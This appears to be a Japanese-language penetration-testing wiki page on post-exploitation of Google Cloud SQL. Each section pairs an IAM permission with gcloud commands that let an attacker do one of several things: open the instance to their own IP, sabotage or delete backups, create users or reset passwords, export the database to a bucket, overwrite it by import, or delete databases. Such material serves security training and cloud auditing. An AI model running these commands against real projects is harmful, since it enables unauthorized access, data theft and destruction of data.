# GCP - Cloud SQL Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

## Cloud SQL

Cloud SQL の詳細については次を参照してください:

{{#ref}}
../gcp-services/gcp-cloud-sql-enum.md
{{#endref}}

### `cloudsql.instances.update`, ( `cloudsql.instances.get`)

データベースに接続するには、**database port へのアクセス**と **username** と **password** を知っていれば十分で、IAM の要件はありません。つまり、データベースが public IP address を持っている場合、簡単な方法は allowed networks を更新して **your own IP address がアクセスできるようにする** ことです。

<details>

<summary>自分の IP を許可して database に接続する</summary>
```bash
# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet
```
</details>

また、**`--no-backup`** を使用してデータベースのバックアップを**妨害する**ことも可能です。

これらが要件として書かれているため、**`cloudsql.instances.connect`** と **`cloudsql.instances.login`** の権限が正確に何をするものか私は完全には確信が持てません。もしご存知ならPRを送ってください！

### `cloudsql.users.list`

データベースの**全ユーザーの一覧**を取得します:

<details>

<summary>データベースのユーザー一覧</summary>
```bash
gcloud sql users list --instance <intance-name>
```
</details>

### `cloudsql.users.create`

この権限により、データベース内に**新しいユーザーを作成する**ことができます:

<details>

<summary>データベースユーザーを作成</summary>
```bash
gcloud sql users create <username> --instance <instance-name> --password <password>
```
</details>

### `cloudsql.users.update`

この権限はデータベース内のユーザーを**更新する**ことを許可します。たとえば、そのパスワードを変更できます:

<details>

<summary>ユーザーのパスワードを更新</summary>
```bash
gcloud sql users set-password <username> --instance <instance-name> --password <password>
```
</details>

### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`

バックアップには**古い機密情報**が含まれている可能性があるため、確認する価値がある。\
**データベース内でバックアップを復元する**:

<details>

<summary>データベースのバックアップを復元</summary>
```bash
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
```
</details>

よりステルスに行うには、現在稼働中のデータベースで復元するのではなく、新しい SQL インスタンスを作成してそちらでデータを復元することを推奨します。

### `cloudsql.backupRuns.delete`

この権限はバックアップを削除することを許可します:

<details>

<summary>バックアップを削除</summary>
```bash
gcloud sql backups delete <backup-id> --instance <instance-id>
```
</details>

### `cloudsql.instances.export`, `storage.objects.create`

**データベースをエクスポートする** — Cloud Storage Bucket にエクスポートして、そこからアクセスできるようにします:

<details>

<summary>データベースをバケットにエクスポート</summary>
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
```
</details>

### `cloudsql.instances.import`, `storage.objects.get`

**データベースをインポート**（上書き）を Cloud Storage Bucket から実行:

<details>

<summary>バケットからデータベースをインポート</summary>
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
```
</details>

### `cloudsql.databases.delete`

db インスタンスからデータベースを削除する:

<details>

<summary>データベースを削除</summary>
```bash
gcloud sql databases delete <db-name> --instance <instance-id>
```
</details>

{{#include ../../../banners/hacktricks-training.md}}
